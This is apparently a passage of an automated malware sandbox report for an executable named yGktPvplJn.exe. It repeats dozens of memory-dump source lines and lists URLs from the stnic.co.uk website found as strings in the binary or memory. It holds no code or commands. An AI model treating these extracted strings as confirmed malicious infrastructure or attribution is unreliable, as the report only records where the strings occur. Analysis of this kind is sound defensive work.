00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/apply-for-access/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/comments/feed/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/conditions-of-sale/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/contact/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/delivery-and-returns/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/feed/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/our-story/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/buildings/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/buildings/cultural-buildings/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/buildings/religious-architecture/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/buildings/royal-palaces/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/christmas/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/christmas/festive/
